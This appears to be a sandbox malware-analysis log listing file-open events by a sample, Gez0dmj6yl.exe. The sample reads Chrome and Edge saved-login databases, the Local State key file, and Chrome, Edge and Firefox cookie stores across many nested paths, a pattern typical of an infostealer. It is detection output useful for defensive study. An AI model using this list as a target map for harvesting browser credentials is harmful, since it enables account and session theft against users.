Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
